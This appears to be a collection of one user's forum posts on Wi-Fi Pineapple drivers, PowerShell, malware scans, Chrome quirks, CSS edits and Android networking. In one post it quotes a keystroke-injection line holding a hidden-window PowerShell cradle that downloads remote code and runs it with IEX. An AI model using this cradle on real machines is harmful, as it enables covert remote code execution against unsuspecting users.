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Dave-ee Jones

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  1. I am also interested to know. I know with other devices it struggles, installing drivers for the 8812au chip is a big pain, there's a few ways to do it but none of them ever worked for me when I tried it, e.g. when I tried to use it for Kali. You can try doing a normal driver install for it, treating the Owl as a normal OpenWRT device and doing it that way but I have my doubts. Might be easier just to step back a generation and use 802.11b/g/n.
  2. Don't really see the difference between this and the PS (apart from USB Type C upgrade from Micro) but it sounds cool. Cringing a bit at the old hardware though..The USB Type C is a good upgrade, +1 for that but I'll have to give a -1 as well because of the lack of gigabit and no PoE (although I completely understand that PoE increases the overall size and footprint of the device). Good job on releasing a new device though. Glad to see some more hardware coming out to work with.
  3. @Dragus You can try adding a pause at the end of your Powershell command. This will keep the Powershell window open until you press Enter so you can see errors and the like. Very useful. $home points to your current Users home directory. E.g. if your name is 'User' then it will go to: C:\Users\User Not sure about $p. Old me might've known..
  4. Judging from the name - is it some kind of boot record that causes the machine to dual-boot two different OS' for backdoor purposes? Sounds very nasty indeed. Did you delete it before running another scan? Just do another full scan with Malwarebytes. If nothing pops up you're probably okay. I'd probably blow away Windows though and start it fresh to be sure, but that's up to you.
  5. I would run a full scan on your computer. Malwarebytes is an anti-virus I recommend. Are you typing these replies on that same computer?
  6. It's probably more likely that it blocked a browser plug-in or injected advertisement on the page, and Avast just knows that it came from the page with that URL. So when you go to that URL a plug-in might be injecting extra JavaScript into the page and Avast just sees that there is malicious malware on the page downloaded from YouTube. Are you using Chrome? If so try opening the page in Incognito mode as I'm pretty sure that stops the Chrome plug-ins. See if it happens again while in Incognito. If not then you'll probably have to do some plug-in deleting in Chrome. If so, YouTube has
  7. Try using parentheses around the string. E.g. Q STRING "powershell.exe -nop -w hidden -c $W=new-object net.webclient;$W.proxy=[Net.WebRequest]::GetSystemWebProxy();$W.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $W.downloadstring('');"
  8. Sounds like it's not browsable and Chrome is overriding it to go to your default page (or another suggested page) on startup. I have similar issues sometimes, just Chrome being Chrome. Try another browser if you'd like.
  9. What I would do is this: Find an element with the colour you want to change on a page. As an example I'll use an orange button. Right click on the element with the colour and select "Inspect Element", then find the background colour of the object (I'll use the classic orange #FFA500 as orange). Go to the unminified CSS file and do a 'Find and Replace' using Notepad++ or something and put #FFA500 as the 'Find' and 'Replace' it with whatever hex you would like. I think you wanted #306EFF, so use that. Save the file and it should be good to go. If you find there are va
  10. I agree with most of what you said except what I quoted..to which I have to say: "Yerrrrrrrr keep telling yourself that" ? The amount of posts/comments says otherwise, but I agree with the fact that there are still posts/comments being made. "Dead" doesn't necessarily mean that there has to be 0 activity.
  11. Make a text file for each module (developer makes the text file) that is formatted something like this: v1.0 TRUE v1.1 FALSE v1.2 NOT TESTED TRUE being it works with that version, FALSE meaning it doesn't work, and NOT TESTED means, of course, it hasn't been tested and the dev isn't sure. Then the PineAP GUI just needs to read the text file in each module directory and puts them in categories in the GUI (or just puts a coloured border or tag on them or something). Obviously, colours would more than likely be green, yellow and red.
  12. I'm very confused.. You cannot access the local network when mobile data is on because it obviously is on a different network. Think of mobile data like a massive WiFi network spread throughout a country by big towers. It's its own network. You, therefore, cannot access another network that's not connected to that network. Your management AP is included in that. If you connect, via WiFi, to your management AP you can then access it's network - provided your mobile data doesn't take precedence as the primary network. Some Android devices do that, especially if the Android detects
  13. isn't on the internet side, though. What you're saying is it blocks all network access if it can't ping Google, which isn't true. I can access my local NAS when I don't have internet access on my Android (OnePlus 5T, latest firmware). What's this "Management AP" you're talking about? Is it the Pineapple or something else? Also, if you've got no internet on your WLAN side then wouldn't it fall back to mobile data? Maybe he had some other reasons he wanted to root for as well. Or he simply just didn't know you could do that with adb and thought rooting wou
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